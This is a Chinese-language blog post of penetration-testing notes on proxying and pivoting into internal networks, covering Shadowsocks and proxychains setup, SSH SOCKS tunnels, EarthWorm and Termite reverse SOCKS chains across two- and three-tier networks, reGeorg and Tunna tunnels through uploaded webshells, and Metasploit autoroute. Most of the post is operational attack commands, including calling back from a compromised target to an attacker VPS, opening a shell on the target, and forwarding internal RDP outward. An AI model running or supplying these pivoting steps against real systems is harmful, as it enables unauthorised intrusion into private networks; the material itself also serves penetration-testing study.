Jirairya

代理

2017-11-29

SS和PorxyChains结合实现任意应用代理

安装ss

安装ss-qt5

/etc/apt/sources.list添加deb http://ppa.launchpad.net/hzwhuang/ss-qt5/ubuntu devel main

apt-get update&&apt-get install shadowsocks-qt5

安装好之后,导入账户就行

安装ss命令行

sudo pip install shadowsocks

然后编写/etc/ss.json

{ 
        "server":"服务器地址", 
        "server_port":服务器端口号, 
        "local_address": "127.0.0.1", 
        "local_port":1080, 
        "password":"密码", 
        "timeout":300, 
        "method":"加密方式", 
        "fast_open": true, 
        "workers": 1
}

然后启动:

root@kali:~# sslocal -c /etc/ss.json 

设置Porxychains

打开/etc/proxychains.conf,将dynamic_chain去注释,在末尾添加socks5 127.0.0.1 1080

执行proxyresolv www.google.com,提示命令找不到。复制文件:

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

再次执行proxyresolv www.google.com

refer:http://www.freebuf.com/sectool/123931.html

SSH实现Socks代理

Linux实现代理

先在终端输入:

ssh -D localhost:9050 root@VPS_IP -p端口

在打开Socks代理:

Windows实现代理

0x01 配置Xshell,并通过ssh连接远程主机(测试中的ssh服务器为一台位于美国的私人VPS),如下图示:

XShell连接ssh

0x02 在 文件-> 属性 菜单配置 socks代理的隧道:

Termite

Termite是EW的升级版。跨平台使用,见Termite:http://rootkiter.com/Termite/

正向Socks v5

  1. 若目标机器有外网IP,就可以使用EW建立ss:
ew -s ssocksd -l 1080
  1. Termite建立ss:
//开启节点:
./agent_Linux64 -l 8888

//使用admin程序连接具有公网的机器IP:
./admin_Linux64 -c 127.0.0.1 -p 1234

//使用show查看拓扑,然后跳转到有公网的节点ID上:
goto 1

//执行socks功能:
socks 1080

//此时VPS上面的1080就架设了一个服务器。

反弹Socks服务器

目标机器没有公网IP,但可以访问公网资源

  1. EW:
VPS: ew -s rcsocks -l 1080 -e 999
Target: ew -s rssocks -d vps的IP -e 999

然后就可以用VPS上的1080作为代理进入内网

  1. Termite
VPS:  ./agent_Linux64 -l 888
Target: ./agent_exe -c VPS的IP -p 888
VPS: ./admin_Linux64 -c 127.0.0.1 -p 888
此时获取一个admin的终端,然后查看节点,target会变成2节点
goto 2
socks 1081  //现在可以以vps上面1081作为代理进入目标内网
shell 6666  //在vps上面直接nc 127.0.0.1 6666可以获取目标主机的shell

downfile和upfile //可以直接下载上传文件

二级网络环境

  1. EW:
//在vps上面添加转接隧道,把10800端口收到的代理请求转发给888
VPS: ew -s lcx_listen -l 10800 -e 888 

//B主机启动socks代理,端口999
B: ew -s ssocksd -l 999   

//在A主机上面使用lcx_slave的方式,把公网的888端口和B主机的999端口连接起来
A: ew -s lcx_slave -d VPS的IP -e 888 -f 10.48.128.49 -g 999 

//现在可以通过vps的10800来使用B主机架设的socks5代理
  1. Termite

基本步骤如下:

VPS: ./agent_exe -l 888
A主机: ./agent_exe -c [139.x.x.113] -p 888
VPS: ./admin_exe -c 127.0.0.1 -p 888
goto 2
listen 999
B主机: ./agent_exe -c 10.48.128.49 -p 999
此时B主机节点是3
goto 3 
socks 10800

例子:

0x01 在vps(10.10.10.147)上开启节点:

./agent_Linux64 -l 1234

0x02 在本地主机上,使用admin程序连接、管理:

C:\Users\Tim\Desktop\Tunna-master>C:\Users\Tim\Desktop\Termite\admin_Win32.exe -c 10.10.10.147 -p 1234

0x03 在目标机器A上执行:

C:\Users\win2k8_web\Desktop\Termite>agent_Win32.exe -c 10.10.10.147 -p 1234

0x04 在本地主机上的admin 程序中执行监听:

>>>> goto 2

>>>> listen 999

0x04 在内网的B主机上执行agent程序,连接A主机的IP和端口,成为节点:

C:\Users\win2k8\Desktop\Termite>agent_Win32.exe -c 192.168.200.20 -p 999

0x05 在本地主机上的admin程序跳转到B机器的节点上,然后执行开启shell:

>>>> goto 3

>>>> shell 7777

将内网机器B的3389端口映射到本地机器

>>>> lcxtran 3388 192.168.200.10 3389

本地连接本地端口3388就可以连接到内网机器B的3389:

三级网络环境

  1. EW:
VPS: ew -s rcsoskc -l 1080 -e 888

A: ew -s lcx_slave -d VPS的IP -e 888 -f 10.48.128.12 -g 999

B: ew -s lcx_listen -l 999 -e 777

C: ew -s rssocks -d 机器B的IP -e 777
  1. Termite
VPS: ./agent_exe -l 888

A主机: ./agent_exe -c VPS的IP -p 888

VPS: ./admin_exe -c 127.0.0.1 -p 888

//B主机开启一个监听
B: ./agent_exe -l 999  

//在管理员中跳转到A节点
goto 2 
//连接到B主机
connect B机器的IP  999 

C: ./agent_exe -l 777

//跳转到B主机节点
goto 3  
//在B节点连接C主机
connect C机器的IP 777  

或者在C节点直接连接B:

goto 3 //跳到B
listen 666

C: ./agent_exe -c B机器的IP 666

HTTP service代理

若目标是在DMZ中,只有WEB数据能出来的时候就用HTTP的代理

见redrain大佬的内网渗透随想(http://drops.wooyun.org/tips/5234):

在目标服务器上传一个webshell,通过shell来做所有的流量转发到内网,常见的几个工具有reGeorg,meterpreter,tunna等等,甚至直接写一个简单的代理脚本,在自己机器上配置一下nginx直接进行反向代理

reGeorg

reGeorg

上传tunnel.aspx文件到目标服务器,然后在kali上执行以下命令进行代理:

python reGeorgSocksProxy.py -u "http://10.10.10.129/tunnel.aspx" -p 8081

/etc/proxychains.conf添加-p指定的端口,然后使用proxychains进行代理:

proxychains xfreerdp /u:win2k8 /p:admin /v:192.168.200.10

进行proxychains进行代理nmap扫描时候,尽量使用-sT-Pn

tunna

Tunna(https://github.com/SECFORCE/Tunna):

先上传webshell到目标网站,尝试访问webshell,返回正常就在本地执行:

python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[3389] -v 
//端口转发


python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -a 内网机器的ip -r 内网机器的指定端口 -v  


python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[22] -s[转发ssh服务需要加上此选项] -v
C:\Users\Tim\Desktop\Tunna-master>>python proxy.py -u "http://10.10.10.130/conn.aspx" -l 1234 -r 3389 -v

tunna本地端口转发

远程桌面连接,刚跳出要验证身份脚本就提示killing the handler thread。这时不要关闭远程桌面连接验证身份的这个黄色窗口,再次执行脚本,然后点击是就可以连接了。

msf

pivot

得到meterpreter之后,在meterpreter会话中执行,添加路由:

run autoroute -s 192.168.200.0/24

run autoroute -p

代理成功之后,使用arp扫描:

use post/windows/gather/arp_scanner

set RHOSTS 目标子网

set SESSION meterpreter会话ID

run

socks4

通向彼岸 之内网代理转发——msf中的socs4a模块使用及meterpreter多级内网穿透(https://klionsec.github.io/2016/09/25/msf-socks4a/)


内网穿透平台

  • https://www.ngrok.cc/
  • https://natapp.cn /

Refer:

resource:


Similar Posts

Comments